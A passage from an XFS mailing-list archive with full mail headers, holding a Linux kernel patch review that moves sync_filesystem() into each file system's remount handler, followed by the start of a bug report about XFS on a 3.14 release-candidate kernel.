ea4a8de1e1. I suggest you upgrade if you don't have this commit. How long ago did you make this filesystem? Thanks, Ben From jack@suse.cz Thu Mar 13 11:23:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 52D3D7F3F for ; Thu, 13 Mar 2014 11:23:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 41A2D304039 for ; Thu, 13 Mar 2014 09:23:27 -0700 (PDT) X-ASG-Debug-ID: 1394727803-04cb6c56775142f0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 8wu3oP5NVzdTWwcQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 09:23:24 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id F00E37501A; Thu, 13 Mar 2014 16:23:22 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id BCE0980D18; Thu, 13 Mar 2014 17:23:19 +0100 (CET) Date: Thu, 13 Mar 2014 17:23:19 +0100 From: Jan Kara To: Theodore Ts'o Cc: linux-fsdevel@thunk.org, Ext4 Developers List , linux-fsdevel@vger.kernel.org, Christoph Hellwig , Artem Bityutskiy , Adrian Hunter , Evgeniy Dushistov , Jan Kara , OGAWA Hirofumi , Anders Larsen , Phillip Lougher , Kees Cook , Mikulas Patocka , Petr Vandrovec , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, linux-cifs@vger.kernel.org, samba-technical@lists.samba.org, codalist@coda.cs.cmu.edu, linux-f2fs-devel@lists.sourceforge.net, fuse-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, linux-nfs@vger.kernel.org, linux-nilfs@vger.kernel.org, linux-ntfs-dev@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, reiserfs-devel@vger.kernel.org Subject: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Message-ID: <20140313162319.GA504@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394720456-16629-1-git-send-email-tytso@mit.edu> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1394727804 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 13-03-14 10:20:56, Ted Tso wrote: > Previously, the no-op "mount -o mount /dev/xxx" operation when the ^^remount > file system is already mounted read-write causes an implied, > unconditional syncfs(). This seems pretty stupid, and it's certainly > documented or guaraunteed to do this, nor is it particularly useful, > except in the case where the file system was mounted rw and is getting > remounted read-only. > > However, it's possible that there might be some file systems that are > actually depending on this behavior. In most file systems, it's > probably fine to only call sync_filesystem() when transitioning from > read-write to read-only, and there are some file systems where this is > not needed at all (for example, for a pseudo-filesystem or something > like romfs). Hum, I'd avoid this excercise at least for filesystem where sync_filesystem() is obviously useless - proc, debugfs, pstore, devpts, also always read-only filesystems such as isofs, qnx4, qnx6, befs, cramfs, efs, freevxfs, romfs, squashfs. I think you can find a couple more which clearly don't care about sync_filesystem() if you look a bit closer. Honza > > Signed-off-by: "Theodore Ts'o" > Cc: linux-fsdevel@vger.kernel.org > Cc: Christoph Hellwig > Cc: Artem Bityutskiy > Cc: Adrian Hunter > Cc: Evgeniy Dushistov > Cc: Jan Kara > Cc: OGAWA Hirofumi > Cc: Anders Larsen > Cc: Phillip Lougher > Cc: Kees Cook > Cc: Mikulas Patocka > Cc: Petr Vandrovec > Cc: xfs@oss.sgi.com > Cc: linux-btrfs@vger.kernel.org > Cc: linux-cifs@vger.kernel.org > Cc: samba-technical@lists.samba.org > Cc: codalist@coda.cs.cmu.edu > Cc: linux-ext4@vger.kernel.org > Cc: linux-f2fs-devel@lists.sourceforge.net > Cc: fuse-devel@lists.sourceforge.net > Cc: cluster-devel@redhat.com > Cc: linux-mtd@lists.infradead.org > Cc: jfs-discussion@lists.sourceforge.net > Cc: linux-nfs@vger.kernel.org > Cc: linux-nilfs@vger.kernel.org > Cc: linux-ntfs-dev@lists.sourceforge.net > Cc: ocfs2-devel@oss.oracle.com > Cc: reiserfs-devel@vger.kernel.org > --- > fs/adfs/super.c | 1 + > fs/affs/super.c | 1 + > fs/befs/linuxvfs.c | 1 + > fs/btrfs/super.c | 1 + > fs/cifs/cifsfs.c | 1 + > fs/coda/inode.c | 1 + > fs/cramfs/inode.c | 1 + > fs/debugfs/inode.c | 1 + > fs/devpts/inode.c | 1 + > fs/efs/super.c | 1 + > fs/ext2/super.c | 1 + > fs/ext3/super.c | 2 ++ > fs/ext4/super.c | 2 ++ > fs/f2fs/super.c | 2 ++ > fs/fat/inode.c | 2 ++ > fs/freevxfs/vxfs_super.c | 1 + > fs/fuse/inode.c | 1 + > fs/gfs2/super.c | 2 ++ > fs/hfs/super.c | 1 + > fs/hfsplus/super.c | 1 + > fs/hpfs/super.c | 2 ++ > fs/isofs/inode.c | 1 + > fs/jffs2/super.c | 1 + > fs/jfs/super.c | 1 + > fs/minix/inode.c | 1 + > fs/ncpfs/inode.c | 1 + > fs/nfs/super.c | 2 ++ > fs/nilfs2/super.c | 1 + > fs/ntfs/super.c | 2 ++ > fs/ocfs2/super.c | 2 ++ > fs/openpromfs/inode.c | 1 + > fs/proc/root.c | 2 ++ > fs/pstore/inode.c | 1 + > fs/qnx4/inode.c | 1 + > fs/qnx6/inode.c | 1 + > fs/reiserfs/super.c | 1 + > fs/romfs/super.c | 1 + > fs/squashfs/super.c | 1 + > fs/super.c | 2 -- > fs/sysv/inode.c | 1 + > fs/ubifs/super.c | 1 + > fs/udf/super.c | 1 + > fs/ufs/super.c | 1 + > fs/xfs/xfs_super.c | 1 + > 44 files changed, 53 insertions(+), 2 deletions(-) > > diff --git a/fs/adfs/super.c b/fs/adfs/super.c > index 7b3003c..952aeb0 100644 > --- a/fs/adfs/super.c > +++ b/fs/adfs/super.c > @@ -212,6 +212,7 @@ static int parse_options(struct super_block *sb, char *options) > > static int adfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return parse_options(sb, data); > } > diff --git a/fs/affs/super.c b/fs/affs/super.c > index d098731..3074530 100644 > --- a/fs/affs/super.c > +++ b/fs/affs/super.c > @@ -530,6 +530,7 @@ affs_remount(struct super_block *sb, int *flags, char *data) > > pr_debug("AFFS: remount(flags=0x%x,opts=\"%s\")\n",*flags,data); > > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > > memcpy(volume, sbi->s_volume, 32); > diff --git a/fs/befs/linuxvfs.c b/fs/befs/linuxvfs.c > index 845d2d6..56d70c8 100644 > --- a/fs/befs/linuxvfs.c > +++ b/fs/befs/linuxvfs.c > @@ -913,6 +913,7 @@ befs_fill_super(struct super_block *sb, void *data, int silent) > static int > befs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (!(*flags & MS_RDONLY)) > return -EINVAL; > return 0; > diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c > index 97cc241..00cd0c5 100644 > --- a/fs/btrfs/super.c > +++ b/fs/btrfs/super.c > @@ -1381,6 +1381,7 @@ static int btrfs_remount(struct super_block *sb, int *flags, char *data) > unsigned int old_metadata_ratio = fs_info->metadata_ratio; > int ret; > > + sync_filesystem(sb); > btrfs_remount_prepare(fs_info); > > ret = btrfs_parse_options(root, data); > diff --git a/fs/cifs/cifsfs.c b/fs/cifs/cifsfs.c > index 849f613..4942c94 100644 > --- a/fs/cifs/cifsfs.c > +++ b/fs/cifs/cifsfs.c > @@ -541,6 +541,7 @@ static int cifs_show_stats(struct seq_file *s, struct dentry *root) > > static int cifs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return 0; > } > diff --git a/fs/coda/inode.c b/fs/coda/inode.c > index 506de34..3f48000 100644 > --- a/fs/coda/inode.c > +++ b/fs/coda/inode.c > @@ -96,6 +96,7 @@ void coda_destroy_inodecache(void) > > static int coda_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NOATIME; > return 0; > } > diff --git a/fs/cramfs/inode.c b/fs/cramfs/inode.c > index 06610cf..a275911 100644 > --- a/fs/cramfs/inode.c > +++ b/fs/cramfs/inode.c > @@ -244,6 +244,7 @@ static void cramfs_kill_sb(struct super_block *sb) > > static int cramfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/debugfs/inode.c b/fs/debugfs/inode.c > index 9c0444c..02928a9 100644 > --- a/fs/debugfs/inode.c > +++ b/fs/debugfs/inode.c > @@ -218,6 +218,7 @@ static int debugfs_remount(struct super_block *sb, int *flags, char *data) > int err; > struct debugfs_fs_info *fsi = sb->s_fs_info; > > + sync_filesystem(sb); > err = debugfs_parse_options(data, &fsi->mount_opts); > if (err) > goto fail; > diff --git a/fs/devpts/inode.c b/fs/devpts/inode.c > index a726b9f..c710380 100644 > --- a/fs/devpts/inode.c > +++ b/fs/devpts/inode.c > @@ -313,6 +313,7 @@ static int devpts_remount(struct super_block *sb, int *flags, char *data) > struct pts_fs_info *fsi = DEVPTS_SB(sb); > struct pts_mount_opts *opts = &fsi->mount_opts; > > + sync_filesystem(sb); > err = parse_mount_options(data, PARSE_REMOUNT, opts); > > /* > diff --git a/fs/efs/super.c b/fs/efs/super.c > index 50215bb..103bbd8 100644 > --- a/fs/efs/super.c > +++ b/fs/efs/super.c > @@ -114,6 +114,7 @@ static void destroy_inodecache(void) > > static int efs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/ext2/super.c b/fs/ext2/super.c > index 20d6697..d260115 100644 > --- a/fs/ext2/super.c > +++ b/fs/ext2/super.c > @@ -1254,6 +1254,7 @@ static int ext2_remount (struct super_block * sb, int * flags, char * data) > unsigned long old_sb_flags; > int err; > > + sync_filesystem(sb); > spin_lock(&sbi->s_lock); > > /* Store the old options */ > diff --git a/fs/ext3/super.c b/fs/ext3/super.c > index 37fd31e..95c6c5a 100644 > --- a/fs/ext3/super.c > +++ b/fs/ext3/super.c > @@ -2649,6 +2649,8 @@ static int ext3_remount (struct super_block * sb, int * flags, char * data) > int i; > #endif > > + sync_filesystem(sb); > + > /* Store the original options */ > old_sb_flags = sb->s_flags; > old_opts.s_mount_opt = sbi->s_mount_opt; > diff --git a/fs/ext4/super.c b/fs/ext4/super.c > index f5c13b8..aa3842f 100644 > --- a/fs/ext4/super.c > +++ b/fs/ext4/super.c > @@ -4767,6 +4767,8 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) > #endif > char *orig_data = kstrdup(data, GFP_KERNEL); > > + sync_filesystem(sb); > + > /* Store the original options */ > old_sb_flags = sb->s_flags; > old_opts.s_mount_opt = sbi->s_mount_opt; > diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c > index 1a85f83..856bdf9 100644 > --- a/fs/f2fs/super.c > +++ b/fs/f2fs/super.c > @@ -568,6 +568,8 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) > struct f2fs_mount_info org_mount_opt; > int err, active_logs; > > + sync_filesystem(sb); > + > /* > * Save the old mount options in case we > * need to restore them. > diff --git a/fs/fat/inode.c b/fs/fat/inode.c > index 854b578..343e477 100644 > --- a/fs/fat/inode.c > +++ b/fs/fat/inode.c > @@ -635,6 +635,8 @@ static int fat_remount(struct super_block *sb, int *flags, char *data) > struct msdos_sb_info *sbi = MSDOS_SB(sb); > *flags |= MS_NODIRATIME | (sbi->options.isvfat ? 0 : MS_NOATIME); > > + sync_filesystem(sb); > + > /* make sure we update state on remount. */ > new_rdonly = *flags & MS_RDONLY; > if (new_rdonly != (sb->s_flags & MS_RDONLY)) { > diff --git a/fs/freevxfs/vxfs_super.c b/fs/freevxfs/vxfs_super.c > index e37eb27..7ca8c75 100644 > --- a/fs/freevxfs/vxfs_super.c > +++ b/fs/freevxfs/vxfs_super.c > @@ -124,6 +124,7 @@ vxfs_statfs(struct dentry *dentry, struct kstatfs *bufp) > > static int vxfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/fuse/inode.c b/fs/fuse/inode.c > index d468643..ecdb255d 100644 > --- a/fs/fuse/inode.c > +++ b/fs/fuse/inode.c > @@ -135,6 +135,7 @@ static void fuse_evict_inode(struct inode *inode) > > static int fuse_remount_fs(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (*flags & MS_MANDLOCK) > return -EINVAL; > > diff --git a/fs/gfs2/super.c b/fs/gfs2/super.c > index 60f60f6..4c6dd50 100644 > --- a/fs/gfs2/super.c > +++ b/fs/gfs2/super.c > @@ -1175,6 +1175,8 @@ static int gfs2_remount_fs(struct super_block *sb, int *flags, char *data) > struct gfs2_tune *gt = &sdp->sd_tune; > int error; > > + sync_filesystem(sb); > + > spin_lock(>->gt_spin); > args.ar_commit = gt->gt_logd_secs; > args.ar_quota_quantum = gt->gt_quota_quantum; > diff --git a/fs/hfs/super.c b/fs/hfs/super.c > index 2d2039e..eee7206 100644 > --- a/fs/hfs/super.c > +++ b/fs/hfs/super.c > @@ -112,6 +112,7 @@ static int hfs_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int hfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > diff --git a/fs/hfsplus/super.c b/fs/hfsplus/super.c > index 80875aa..8eb787b 100644 > --- a/fs/hfsplus/super.c > +++ b/fs/hfsplus/super.c > @@ -323,6 +323,7 @@ static int hfsplus_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int hfsplus_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > if (!(*flags & MS_RDONLY)) { > diff --git a/fs/hpfs/super.c b/fs/hpfs/super.c > index 4534ff6..fe3463a 100644 > --- a/fs/hpfs/super.c > +++ b/fs/hpfs/super.c > @@ -421,6 +421,8 @@ static int hpfs_remount_fs(struct super_block *s, int *flags, char *data) > struct hpfs_sb_info *sbi = hpfs_sb(s); > char *new_opts = kstrdup(data, GFP_KERNEL); > > + sync_filesystem(s); > + > *flags |= MS_NOATIME; > > hpfs_lock(s); > diff --git a/fs/isofs/inode.c b/fs/isofs/inode.c > index 4a9e10e..6af66ee 100644 > --- a/fs/isofs/inode.c > +++ b/fs/isofs/inode.c > @@ -117,6 +117,7 @@ static void destroy_inodecache(void) > > static int isofs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (!(*flags & MS_RDONLY)) > return -EROFS; > return 0; > diff --git a/fs/jffs2/super.c b/fs/jffs2/super.c > index 0defb1c..0918f0e 100644 > --- a/fs/jffs2/super.c > +++ b/fs/jffs2/super.c > @@ -243,6 +243,7 @@ static int jffs2_remount_fs(struct super_block *sb, int *flags, char *data) > struct jffs2_sb_info *c = JFFS2_SB_INFO(sb); > int err; > > + sync_filesystem(sb); > err = jffs2_parse_options(c, data); > if (err) > return -EINVAL; > diff --git a/fs/jfs/super.c b/fs/jfs/super.c > index e2b7483..97f7fda 100644 > --- a/fs/jfs/super.c > +++ b/fs/jfs/super.c > @@ -418,6 +418,7 @@ static int jfs_remount(struct super_block *sb, int *flags, char *data) > int flag = JFS_SBI(sb)->flag; > int ret; > > + sync_filesystem(sb); > if (!parse_options(data, sb, &newLVSize, &flag)) { > return -EINVAL; > } > diff --git a/fs/minix/inode.c b/fs/minix/inode.c > index 0332109..dcdc298 100644 > --- a/fs/minix/inode.c > +++ b/fs/minix/inode.c > @@ -123,6 +123,7 @@ static int minix_remount (struct super_block * sb, int * flags, char * data) > struct minix_sb_info * sbi = minix_sb(sb); > struct minix_super_block * ms; > > + sync_filesystem(sb); > ms = sbi->s_ms; > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > diff --git a/fs/ncpfs/inode.c b/fs/ncpfs/inode.c > index 2cf2ebe..5f86e80 100644 > --- a/fs/ncpfs/inode.c > +++ b/fs/ncpfs/inode.c > @@ -99,6 +99,7 @@ static void destroy_inodecache(void) > > static int ncp_remount(struct super_block *sb, int *flags, char* data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return 0; > } > diff --git a/fs/nfs/super.c b/fs/nfs/super.c > index 910ed90..2cb5694 100644 > --- a/fs/nfs/super.c > +++ b/fs/nfs/super.c > @@ -2215,6 +2215,8 @@ nfs_remount(struct super_block *sb, int *flags, char *raw_data) > struct nfs4_mount_data *options4 = (struct nfs4_mount_data *)raw_data; > u32 nfsvers = nfss->nfs_client->rpc_ops->version; > > + sync_filesystem(sb); > + > /* > * Userspace mount programs that send binary options generally send > * them populated with default values. We have no way to know which > diff --git a/fs/nilfs2/super.c b/fs/nilfs2/super.c > index 7ac2a12..8c532b2 100644 > --- a/fs/nilfs2/super.c > +++ b/fs/nilfs2/super.c > @@ -1129,6 +1129,7 @@ static int nilfs_remount(struct super_block *sb, int *flags, char *data) > unsigned long old_mount_opt; > int err; > > + sync_filesystem(sb); > old_sb_flags = sb->s_flags; > old_mount_opt = nilfs->ns_mount_opt; > > diff --git a/fs/ntfs/super.c b/fs/ntfs/super.c > index 82650d5..bd5610d 100644 > --- a/fs/ntfs/super.c > +++ b/fs/ntfs/super.c > @@ -468,6 +468,8 @@ static int ntfs_remount(struct super_block *sb, int *flags, char *opt) > > ntfs_debug("Entering with remount options string: %s", opt); > > + sync_filesystem(sb); > + > #ifndef NTFS_RW > /* For read-only compiled driver, enforce read-only flag. */ > *flags |= MS_RDONLY; > diff --git a/fs/ocfs2/super.c b/fs/ocfs2/super.c > index 49d84f8..5f9bf8f 100644 > --- a/fs/ocfs2/super.c > +++ b/fs/ocfs2/super.c > @@ -631,6 +631,8 @@ static int ocfs2_remount(struct super_block *sb, int *flags, char *data) > struct ocfs2_super *osb = OCFS2_SB(sb); > u32 tmp; > > + sync_filesystem(sb); > + > if (!ocfs2_parse_options(sb, data, &parsed_options, 1) || > !ocfs2_check_set_options(sb, &parsed_options)) { > ret = -EINVAL; > diff --git a/fs/openpromfs/inode.c b/fs/openpromfs/inode.c > index 8c0ceb8..15e4500 100644 > --- a/fs/openpromfs/inode.c > +++ b/fs/openpromfs/inode.c > @@ -368,6 +368,7 @@ static struct inode *openprom_iget(struct super_block *sb, ino_t ino) > > static int openprom_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NOATIME; > return 0; > } > diff --git a/fs/proc/root.c b/fs/proc/root.c > index 87dbcbe..ac823a8 100644 > --- a/fs/proc/root.c > +++ b/fs/proc/root.c > @@ -92,6 +92,8 @@ static int proc_parse_options(char *options, struct pid_namespace *pid) > int proc_remount(struct super_block *sb, int *flags, char *data) > { > struct pid_namespace *pid = sb->s_fs_info; > + > + sync_filesystem(sb); > return !proc_parse_options(data, pid); > } > > diff --git a/fs/pstore/inode.c b/fs/pstore/inode.c > index 1282384..192297b 100644 > --- a/fs/pstore/inode.c > +++ b/fs/pstore/inode.c > @@ -249,6 +249,7 @@ static void parse_options(char *options) > > static int pstore_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > parse_options(data); > > return 0; > diff --git a/fs/qnx4/inode.c b/fs/qnx4/inode.c > index 8955881..c4bcb77 100644 > --- a/fs/qnx4/inode.c > +++ b/fs/qnx4/inode.c > @@ -44,6 +44,7 @@ static int qnx4_remount(struct super_block *sb, int *flags, char *data) > { > struct qnx4_sb_info *qs; > > + sync_filesystem(sb); > qs = qnx4_sb(sb); > qs->Version = QNX4_VERSION; > *flags |= MS_RDONLY; > diff --git a/fs/qnx6/inode.c b/fs/qnx6/inode.c > index 8d941ed..65cdaab 100644 > --- a/fs/qnx6/inode.c > +++ b/fs/qnx6/inode.c > @@ -55,6 +55,7 @@ static int qnx6_show_options(struct seq_file *seq, struct dentry *root) > > static int qnx6_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/reiserfs/super.c b/fs/reiserfs/super.c > index 2c80335..abf2b76 100644 > --- a/fs/reiserfs/super.c > +++ b/fs/reiserfs/super.c > @@ -1319,6 +1319,7 @@ static int reiserfs_remount(struct super_block *s, int *mount_flags, char *arg) > int i; > #endif > > + sync_filesystem(s); > reiserfs_write_lock(s); > > #ifdef CONFIG_QUOTA > diff --git a/fs/romfs/super.c b/fs/romfs/super.c > index d841878..ef90e8b 100644 > --- a/fs/romfs/super.c > +++ b/fs/romfs/super.c > @@ -432,6 +432,7 @@ static int romfs_statfs(struct dentry *dentry, struct kstatfs *buf) > */ > static int romfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c > index 202df63..031c8d67 100644 > --- a/fs/squashfs/super.c > +++ b/fs/squashfs/super.c > @@ -371,6 +371,7 @@ static int squashfs_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int squashfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/super.c b/fs/super.c > index 80d5cf2..e9dc3c3 100644 > --- a/fs/super.c > +++ b/fs/super.c > @@ -719,8 +719,6 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force) > } > } > > - sync_filesystem(sb); > - > if (sb->s_op->remount_fs) { > retval = sb->s_op->remount_fs(sb, &flags, data); > if (retval) { > diff --git a/fs/sysv/inode.c b/fs/sysv/inode.c > index c327d4e..4742e58 100644 > --- a/fs/sysv/inode.c > +++ b/fs/sysv/inode.c > @@ -60,6 +60,7 @@ static int sysv_remount(struct super_block *sb, int *flags, char *data) > { > struct sysv_sb_info *sbi = SYSV_SB(sb); > > + sync_filesystem(sb); > if (sbi->s_forced_ro) > *flags |= MS_RDONLY; > return 0; > diff --git a/fs/ubifs/super.c b/fs/ubifs/super.c > index 5ded849..e1598ab 100644 > --- a/fs/ubifs/super.c > +++ b/fs/ubifs/super.c > @@ -1827,6 +1827,7 @@ static int ubifs_remount_fs(struct super_block *sb, int *flags, char *data) > int err; > struct ubifs_info *c = sb->s_fs_info; > > + sync_filesystem(sb); > dbg_gen("old flags %#lx, new flags %#x", sb->s_flags, *flags); > > err = ubifs_parse_options(c, data, 1); > diff --git a/fs/udf/super.c b/fs/udf/super.c > index 3306b9f..64f2b73 100644 > --- a/fs/udf/super.c > +++ b/fs/udf/super.c > @@ -646,6 +646,7 @@ static int udf_remount_fs(struct super_block *sb, int *flags, char *options) > int error = 0; > struct logicalVolIntegrityDescImpUse *lvidiu = udf_sb_lvidiu(sb); > > + sync_filesystem(sb); > if (lvidiu) { > int write_rev = le16_to_cpu(lvidiu->minUDFWriteRev); > if (write_rev > UDF_MAX_WRITE_VERSION && !(*flags & MS_RDONLY)) > diff --git a/fs/ufs/super.c b/fs/ufs/super.c > index 329f2f5..b8c6791 100644 > --- a/fs/ufs/super.c > +++ b/fs/ufs/super.c > @@ -1280,6 +1280,7 @@ static int ufs_remount (struct super_block *sb, int *mount_flags, char *data) > unsigned new_mount_opt, ufstype; > unsigned flags; > > + sync_filesystem(sb); > lock_ufs(sb); > mutex_lock(&UFS_SB(sb)->s_lock); > uspi = UFS_SB(sb)->s_uspi; > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..aaa3eca 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1197,6 +1197,7 @@ xfs_fs_remount( > char *p; > int error; > > + sync_filesystem(sb); > while ((p = strsep(&options, ",")) != NULL) { > int token; > > -- > 1.9.0 > -- Jan Kara SUSE Labs, CR From Morgan.Mears@netapp.com Thu Mar 13 11:56:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 54FA87F3F for ; Thu, 13 Mar 2014 11:56:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C14E7AC002 for ; Thu, 13 Mar 2014 09:56:58 -0700 (PDT) X-ASG-Debug-ID: 1394729813-04cbb054b931e830001-NocioJ Received: from mx11.netapp.com (mx11.netapp.com [216.240.18.76]) by cuda.sgi.com with ESMTP id fJFoAQyqNqUNYS64 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 09:56:53 -0700 (PDT) X-Barracuda-Envelope-From: Morgan.Mears@netapp.com X-Barracuda-Apparent-Source-IP: 216.240.18.76 X-IronPort-AV: E=Sophos;i="4.97,648,1389772800"; d="scan'208";a="109036225" Received: from vmwexceht01-prd.hq.netapp.com ([10.106.76.239]) by mx11-out.netapp.com with ESMTP; 13 Mar 2014 09:56:37 -0700 Received: from SACEXCMBX06-PRD.hq.netapp.com ([169.254.9.198]) by vmwexceht01-prd.hq.netapp.com ([10.106.76.239]) with mapi id 14.03.0123.003; Thu, 13 Mar 2014 09:56:37 -0700 From: "Mears, Morgan" To: Ben Myers CC: Dave Chinner , "xfs@oss.sgi.com" Subject: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Topic: Possible XFS bug encountered in 3.14.0-rc3+ X-ASG-Orig-Subj: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Index: Ac8+Lnd5ZrOBn3zKSZ2tAyiTTgiU/gAU2BeAABJJfbAAEEHoAAAMNS2A Date: Thu, 13 Mar 2014 16:56:37 +0000 Message-ID: <33A0129EBFD46748804DE81B354CA1B21C0DE1C0@SACEXCMBX06-PRD.hq.netapp.com> References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <20140312230241.GE6851@dastard> <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> <20140313153148.GV1935@sgi.com> In-Reply-To: <20140313153148.GV1935@sgi.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.106.53.53] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx11.netapp.com[216.240.18.76] X-Barracuda-Start-Time: 1394729813 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... On Thu, Mar 13, 2014 at 11:32:22PM -0400, Ben Myers wrote: > On Thu, Mar 13, 2014 at 02:47:58PM +0000, Mears, Morgan wrote: >> On Wed, Mar 12, 2014 at 07:03:14PM -0400, Dave Chinner wrote: >> > On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: >> >> Hi, >> >>=20 >> >> Please CC me on any responses; I don't subscribe to this list. >> >>=20 >> >> I ran into a possible XFS bug while doing some Oracle benchmarking. = My test >> >> system is running a 3.14.0-rc3+ kernel built from the for-next branch= of >> >> git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.= git >> >> on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). >> >>=20 >> >> The XFS instance in question is 200 GB and should have all default >> >> parameters (mkfs.xfs /dev/mapper/). It contains Or= acle 